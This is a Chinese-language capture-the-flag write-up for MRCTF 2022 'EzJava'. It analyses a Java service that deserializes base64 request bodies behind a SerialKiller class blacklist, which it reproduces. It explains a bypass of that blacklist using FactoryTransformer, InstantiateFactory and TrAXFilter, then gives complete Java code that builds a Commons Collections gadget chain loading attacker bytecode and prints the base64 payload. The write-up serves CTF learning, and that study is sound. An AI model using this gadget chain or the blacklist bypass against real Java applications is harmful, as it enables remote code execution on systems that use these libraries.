MRCTF 2022 EzJava
題目分析
下載附件得到一個 jar 包和一個 waf 配置檔案。如果只是為了本地搭建環境,直接啟動 jar 包就行了,但是如果需要進行遠端除錯就需要進行一些配置(這個網上教程很多),這個除錯也要看具體需求,能直接打通的話就不需要除錯。
但是不管怎麼說,第一步肯定都是先解壓 jar 包好進行程式碼審計。
先看依賴:
依賴挺多,不過對於我這個 java 新手不認識幾個,但是發現了熟悉的 cc 鏈依賴。
然後找反序列化的入口 readObject
函式
這裡就是獲得 body 中的資料進行 base64 解碼然後進行反序列化,不過注意到還有個 serialkiller.xml
檔案,這是 SerialKiller
依賴的配置檔案,也就是剛剛附件中的另一個檔案,將其複製進專案的 resource 後進行分析
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>
過濾掉了之前學習 cc 鏈最後要用的所有 transform
方法的類。所以這道題題其實考察的就是最後執行命令部分。
現在需要找的就是有沒有其他類的 transform
方法可以利用,來到 transform
介面開始一個一個尋找:
最後找到了 FactoryTransformer
的 transform
方法,後面類的 transform
我也只是粗略的看過,有可能也有利用的地方。
繼續看 create
方法,看看哪些可以構成危險。這個 create
方法其實有點太多了,參考文章,最後在 cc 依賴目錄下進行尋找就行了
這裡非常可疑,看到可以達到實列化的目的,和 cc3 最後十分相像,cc3 最後是呼叫的 TrAXFilter
的建構函式從而呼叫到 newTransformer()
進行位元組碼載入。所以這裡的可以利用這個 create
方法呼叫 TrAXFilter
的建構函式然後進行位元組碼載入。
exp 構造
先編寫出最後執行的 transform 方法
InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});
FactoryTransformer fa = new FactoryTransformer(ins);
剩下的照搬 cc3 就行了
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class Main {
public static void main(String[] args)throws Exception {
TemplatesImpl tem = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
InstantiateFactory ins = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{tem});
FactoryTransformer fa = new FactoryTransformer(ins);
HashMap map2 = new HashMap();
Map<Object, Object> Lazy = LazyMap.decorate(map2, new ConstantTransformer(1));
Lazy.put("zZ", 1);
TiedMapEntry tie = new TiedMapEntry(Lazy, "aaa");
Hashtable hashtable = new Hashtable();
hashtable.put(tie, 1);
Lazy.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, fa);
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(out);
objout.writeObject(hashtable);
objout.close();
out.close();
byte[] ObjectBytes = out.toByteArray();
ByteArrayInputStream in=new ByteArrayInputStream(ObjectBytes);
ObjectInputStream objin=new ObjectInputStream(in);
objin.readObject();
objin.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
執行測試
測試成功後將其序列化結果進行 base64 編碼,
String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);